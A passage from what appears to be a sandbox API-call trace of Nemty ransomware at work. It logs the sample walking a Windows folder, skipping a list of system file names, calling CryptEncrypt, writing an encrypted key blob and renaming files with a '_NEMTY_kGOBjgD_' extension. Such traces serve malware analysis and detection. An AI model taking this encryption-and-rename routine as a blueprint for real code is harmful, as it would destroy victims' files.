out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.760] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.760] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.766] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.766] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.766] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.766] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0153.766] CloseHandle (hObject=0xffffffff) returned 0 [0153.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0153.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0153.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0153.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0153.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0153.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0153.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0153.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0153.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0153.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0153.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\19.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\19.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\19.png._nemty_kgobjgd_")) returned 0 [0153.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0153.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0153.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0153.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0153.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0153.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0153.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0153.767] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868f38eb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868f38eb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="1px.gif", cAlternateFileName="")) returned 1 [0153.767] lstrcmpiW (lpString1="1px.gif", lpString2=".") returned 1 [0153.767] lstrcmpiW (lpString1="1px.gif", lpString2="..") returned 1 [0153.771] lstrcmpiW (lpString1="1px.gif", lpString2="...") returned 1 [0153.771] lstrcmpiW (lpString1="1px.gif", lpString2="windows") returned -1 [0153.771] lstrcmpiW (lpString1="1px.gif", lpString2="$RECYCLE.BIN") returned 1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="rsa") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="NTDETECT.COM") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="ntldr") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="MSDOS.SYS") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="IO.SYS") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="boot.ini") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="boot.ini") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="AUTOEXEC.BAT") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="ntuser.dat") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="desktop.ini") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="CONFIG.SYS") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="RECYCLER") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="BOOTSECT.BAK") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="bootmgr") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="programdata") returned -1 [0153.772] lstrcmpiW (lpString1="1px.gif", lpString2="appdata") returned -1 [0153.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1px.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0153.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1px.gif", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1px.gif", lpUsedDefaultChar=0x0) returned 7 [0153.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1px.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0153.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1px.gif", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1px.gif", lpUsedDefaultChar=0x0) returned 7 [0153.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1px.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0153.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1px.gif", cchWideChar=7, lpMultiByteStr=0x653ec20, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1px.gif", lpUsedDefaultChar=0x0) returned 7 [0153.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1px.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0153.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1px.gif", cchWideChar=7, lpMultiByteStr=0x653ec58, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1px.gif", lpUsedDefaultChar=0x0) returned 7 [0153.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0153.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0153.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0153.772] Sleep (dwMilliseconds=0x5) [0153.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf4ef770, dwHighDateTime=0x1d561e8)) [0153.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf4ef770, dwHighDateTime=0x1d561e8)) [0153.782] GetLastError () returned 0x5 [0153.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0153.783] GetLastError () returned 0x5 [0153.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0153.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0153.783] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0153.783] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0153.783] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0153.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0153.783] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="SBDUqNONsNaEFc6Qgz37SKoVahq5FXt9Ic2q9WJAJ8MugJdTPvMkrryNsDzJRGZj\r\nylAPAV6I/vzluyRwD6d7NNJsddpaEJEJTWXOrayz3PbUENQYHLa0XGvCVWAI+YNi\r\nyT4J7/9nHBuXjminieaGLoj1xAqbi3GQ0Fgmp2cGlzOmDCXm+ViahqODimn4v4M3\r\n3Hk7HygbJ66gZs9Zt2D0jisdJomAr1L0d27OXpxHZUAqufDnbC90yA+PcNDDrASZ\r\nJ+Kr5VnZJl4gafUSrjx5AFPnYyoNkPDKqBHwb15VLlhGH519sZ611iHnZzzO9J8p\r\nzsZ/tcO09d8wEO6q15Ykjw==\r\n", pcchString=0x653e91c) returned 1 [0153.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0153.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0153.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0153.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0153.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0153.783] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1px.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1px.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.784] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0153.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0153.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.784] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.793] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.793] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.793] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.793] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.802] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.802] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.812] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.812] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.821] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.849] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.858] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.884] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0153.890] CloseHandle (hObject=0xffffffff) returned 0 [0153.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0153.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0153.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0153.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0153.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0153.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0153.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0153.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0153.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0153.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0153.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1px.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1px.gif"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1px.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1px.gif._nemty_kgobjgd_")) returned 0 [0153.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0153.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0153.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0153.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: 